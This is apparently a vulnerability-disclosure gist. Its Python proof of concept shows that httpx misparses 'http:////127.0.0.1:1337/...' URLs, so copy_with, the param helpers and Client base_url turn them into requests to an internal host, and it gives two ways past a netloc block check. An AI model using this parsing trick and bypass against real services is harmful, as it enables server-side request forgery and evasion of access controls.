Skip to content

Instantly share code, notes, and snippets.

@lebr0nli

lebr0nli/poc.py Secret

Last active May 20, 2022 23:42
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lebr0nli/4edb76bbd3b5ff993cf44f2fbce5e571 to your computer and use it in GitHub Desktop.
Save lebr0nli/4edb76bbd3b5ff993cf44f2fbce5e571 to your computer and use it in GitHub Desktop.
httpx PoC
import httpx
url_str = "http:////127.0.0.1:1337/to/path?q=a#test"
print("#### before calling 'copy_with' ####")
url = httpx.URL(url_str)
print("unsplit url:", url)
print("url.netloc:", url.netloc)
print("url.path:", url.path) # //127.0.0.1:1337/to/path
print("url.query:", url.query) # b'q=a'
assert b"127.0.0.1" not in url.netloc # security check for the PoC
print()
print("#### e.g. trying to use 'copy_with' to remove fragment ####")
url = url.copy_with(fragment=None)
print("unsplit url:", url)
print("url.netloc:", url.netloc) # b'127.0.0.1:1337'
print("url.path:", url.path) # /to/path
print("url.query:", url.query) # b'q=a'
print()
print("#### Some functions which have the same problem when using 'copy_with' ####")
print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_set_param('a').netloc:",
httpx.URL(url).copy_set_param("a").netloc)
print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_add_param('a').netloc:",
httpx.URL(url).copy_add_param("a").netloc)
print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_remove_param('a').netloc:",
httpx.URL(url).copy_remove_param("a").netloc)
print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test').copy_merge_params('a').netloc:",
httpx.URL(url).copy_merge_params("a").netloc)
print("httpx.URL('http:////127.0.0.1:1337/to/path?q=a#test', scheme='https').netloc:",
httpx.URL(url_str, scheme='https').netloc) # dev only want to change http to https :(
print()
print("#### build http request with relative path ####")
req = httpx.Client(base_url="https://example.com/A?ignore=").build_request("ANY_METHOD", "/B")
print('req = httpx.Client(base_url="https://example.com/A?ignore=").build_request("ANY_METHOD", "/B")')
print("req.url.path == '/B'? ans:NO!")
print("req.url.path:", req.url.path)
print("req.url.query:", req.url.query)
print()
print("#### SSRF if attacker can control 'base_url' in 'httpx.Client' ####")
url_str = "http:////127.0.0.1:1337/secret?q=a&ignore="
assert b"127.0.0.1" not in httpx.URL(url_str).netloc # security check for the PoC
req = httpx.Client(base_url=url_str).build_request("ANY_METHOD", "/index.html")
print("Possible to fetch 'http://127.0.0.1/secret'? ans: YES!")
print("request url:", req.url)
print("What if I check netloc of base_url?")
if b"127.0.0.1" in httpx.Client(base_url=url_str).base_url.netloc:
print("Block!", httpx.Client(base_url=url_str).base_url.netloc)
print("Still possible to bypass the check? ans: YES!")
url_str = url_str + "/"
assert b"127.0.0.1" not in httpx.URL(url_str).netloc # bypass 1!
client = httpx.Client(base_url=url_str)
assert b"127.0.0.1" not in client.base_url.netloc # bypass 2!
print("httpx.Client(base_url='http:////127.0.0.1:1337/secret?q=a&ignore=/').base_url", client.base_url)
req = client.build_request("ANY_METHOD", "/index.html")
print("request url:", req.url)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment